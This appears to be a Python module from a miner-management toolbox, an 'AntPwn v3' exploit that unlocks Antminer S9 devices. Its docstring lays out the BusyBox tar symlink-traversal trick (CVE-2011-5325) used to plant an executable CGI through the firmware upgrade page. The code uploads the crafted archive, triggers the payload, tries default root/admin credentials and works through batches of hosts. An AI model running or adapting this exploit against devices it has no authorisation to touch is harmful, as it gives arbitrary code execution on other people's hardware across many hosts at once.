"""
AntPwn v3

Vulnerability:
    * Webinterface allows upgrading firmware by POST request with *.tar.gz to `/cgi-bin/upgrade.cgi`.
      Most files inside the archive are RSA signature checked against a public key residing on miners rootfs.

      fw.tar.gz however is signature-checked in runme.sh, quite late in the process.
      Before execution of runme.sh happens, upgrade.cgi extracts a FILE `version` from the unchecked fw.tar.gz.

      busybox CVE-2011-5325:
      Directory traversal vulnerability in the BusyBox implementation of tar before 1.22.0 v5 allows remote attackers
      to point to files outside the current working directory via a symlink.

      _>
     1. Create symlink `version` to target `/www/pages/cgi-bin` -> Add it to fw.tar
     2. Update the fw.tar archive with a directory and file `version/payload.cgi`
     3. Gzip the resulting tar-file.
     4. On processing in upgrade.cgi, it first extracts the (older) file revision, aka the symlink.
        Then it extracts the more recent version over it, the actual payload file.
        -> We got an arbitrary, executable file in cgi-bin/
     5. Execute the payload via HTTP GET aka `http://antminer/cgi-bin/payload.cgi`
"""

import argparse
import io
import logging
import os
import sys

from bos_toolbox.batch import read_hosts
from bos_toolbox.platform.descriptor import MinerType
from bos_toolbox.platform.am1_webif import AntminerWebif
from bos_toolbox.util import get_payload_path, load_module_from_home_path, Unsupported
from bos_toolbox.common import WHATSMINER_EXTENSION_PATH


LOG = logging.getLogger(__name__)

DEFAULT_UPGRADE_PATH = get_payload_path('unlock', 'am1_upgrade.tar.gz')
DEFAULT_USERNAME = ''
DEFAULT_PASSWORD = ''
DEFAULT_USERNAME_ANTMINER = 'root'
DEFAULT_PASSWORD_ANTMINER = 'root'
DEFAULT_USERNAME_WHATSMINER = 'admin'
DEFAULT_PASSWORD_WHATSMINER = 'admin'
DEFAULT_PORT = 80


class UnlockStop(Exception):
    pass


class AntminerPwn:
    def __init__(self, webif: AntminerWebif):
        self.webif = webif

    def execute(self, upgrade_filepath: str):
        """
        Execute AntPwn v3 exploit

        Args:
            webif: Successfully authenticated instance
            upgrade_filepath: Filepath to upgrade payload

        Returns:
            Returns True on successful exploit, False otherwise
        """
        with io.open(upgrade_filepath, 'rb') as f:
            upgrade_binary = f.read()

        LOG.info('[+] Sending upgrade payload...')
        ret = self.webif.send_upgrade(upgrade_binary)
        if not ret:
            LOG.error('Failed to send upgrade payload!')
            raise UnlockStop

        LOG.info('[+] Triggering payload...')
        ret = self.webif.get_page('cgi-bin/payload.cgi')
        if not ret or ret.status_code != 200:
            LOG.error('Failed to trigger payload on remote!')
            raise UnlockStop

    def check_compatibility(self):
        system_info = self.webif.get_system_info()
        if not system_info:
            raise UnlockStop

        miner_type = system_info.get('minertype')
        if not miner_type or not miner_type.startswith('Antminer S9'):
            LOG.warning("Unlock is not supported for '{}'".format(miner_type))
            raise UnlockStop

    def check_exploit_success(self) -> bool:
        """
        Generic check, should be implemented in all exploit payloads!

        aka.

        Payload has to write file `AntPwn.html` into <web-root>.
        For antminer that's `/www/pages/`.
        """
        resp = self.webif.get_page('AntPwn.html')
        return resp and resp.status_code == 200

    def run_exploits(self, upgrade_filepath: str):
        """
        Batch execute available exploits until one succeeds or all fail

        Args:
            webif: Instance of authenticated webif
            upgrade_filepath: Filepath to upgrade payload script

        Returns:
            0 on success, 99 on failure
        """
        self.execute(upgrade_filepath)
        if not self.check_exploit_success():
            LOG.error('Exploit failed :(')
            raise UnlockStop

    def unlock(self, upgrade_filepath: str):
        upgrade_filepath = upgrade_filepath or DEFAULT_UPGRADE_PATH
        LOG.debug('Loading upgrade payload from {}'.format(upgrade_filepath))

        if not os.path.isfile(upgrade_filepath):
            LOG.error("Upgrade payload '{}' is unavailable".format(upgrade_filepath))
            raise UnlockStop

        self.check_compatibility()

        LOG.info('Attempting unlock host on {} with AntPwn v3...')
        self.run_exploits(upgrade_filepath)
        LOG.info('Exploit v3 suceeded\n ::: Enjoy!')


def miner_recognition(
    host,
    username=DEFAULT_USERNAME,
    password=DEFAULT_PASSWORD,
    port=DEFAULT_PORT,
    ssl=False,
) -> (None, None):
    antminer_webif = AntminerWebif(host, port, ssl)
    if antminer_webif.ensure_authentication(
        username or DEFAULT_USERNAME_ANTMINER, password or DEFAULT_PASSWORD_ANTMINER
    ):
        return MinerType.AntMiner, antminer_webif

    try:
        whatsminer_webif_module = load_module_from_home_path(
            'whatsminer', WHATSMINER_EXTENSION_PATH
        )
    except Unsupported:
        return None, None

    whatsminer_webif = whatsminer_webif_module.WhatsminerWebif(host, port, ssl)
    if whatsminer_webif.ensure_authentication(
        username or DEFAULT_USERNAME_WHATSMINER, password or DEFAULT_PASSWORD_WHATSMINER
    ):
        return MinerType.WhatsMiner, whatsminer_webif

    return None, None


def unlock(
    host,
    upgrade_filepath=None,
    username=DEFAULT_USERNAME,
    password=DEFAULT_PASSWORD,
    port=DEFAULT_PORT,
    ssl=False,
):
    miner_type, webif = miner_recognition(host, username, password, port, ssl)

    if miner_type is not None:
        if miner_type == MinerType.AntMiner:
            miner_pwn = AntminerPwn(webif)
            miner_pwn.unlock(upgrade_filepath)
        elif miner_type == MinerType.WhatsMiner:
            module = load_module_from_home_path('whatsminer', WHATSMINER_EXTENSION_PATH)
            miner_pwn = module.WhatsMinerPwn(webif)
            miner_pwn.unlock(username, password)
        else:
            LOG.error('Unlock of the miner is not supported')
            raise UnlockStop
    else:
        LOG.error('Unlock could not recognize the miner type')
        raise UnlockStop


def build_arg_parser(parser, desc):
    label = desc['label']
    hlp = desc['help']

    parser.description = desc['description']

    parser.add_argument(
        'hosts',
        nargs='?',
        metavar=label['hosts'],
        help=hlp['hosts'],
        widget='FileChooser',
    )
    parser.add_argument(
        '-u',
        '--username',
        default=DEFAULT_USERNAME,
        metavar=label['username'],
        help=hlp['username'],
    )
    parser.add_argument(
        '-p',
        '--password',
        default=DEFAULT_PASSWORD,
        metavar=label['password'],
        help=hlp['password'],
        widget='PasswordField',
    )

    parser.add_argument(
        '--upgrade_path',
        nargs='?',
        metavar=label['upgrade_path'],
        help=hlp['upgrade_path'],
        widget='FileChooser',
        gooey_options={'visible': False},
    )
    parser.add_argument(
        '--port',
        type=int,
        default=DEFAULT_PORT,
        metavar=label['port'],
        help=hlp['port'],
        gooey_options={'visible': False},
    )
    parser.add_argument(
        '--ssl',
        metavar=label['ssl'],
        help=hlp['ssl'],
        action='store_true',
        gooey_options={'visible': False},
    )


def main(parser, args):
    hosts = read_hosts(args.hosts)
    batch = len(hosts) > 1

    error = None
    for host in hosts:
        try:
            unlock(
                host,
                args.upgrade_path,
                args.username,
                args.password,
                args.port,
                args.ssl,
            )
        except UnlockStop as ex:
            # do not stop batch mode when one host fails
            if batch:
                LOG.error('Skipping host on {}!'.format(host))
            if not error:
                # store first error
                error = ex
        except Exception as ex:
            LOG.error(ex)
            continue
    if error:
        raise error


if __name__ == '__main__':
    # execute only if run as a script
    parser = argparse.ArgumentParser()
    build_arg_parser(parser)
    # parse command line arguments
    args = parser.parse_args(sys.argv[1:])

    try:
        main(parser, args)
    except UnlockStop:
        sys.exit(1)
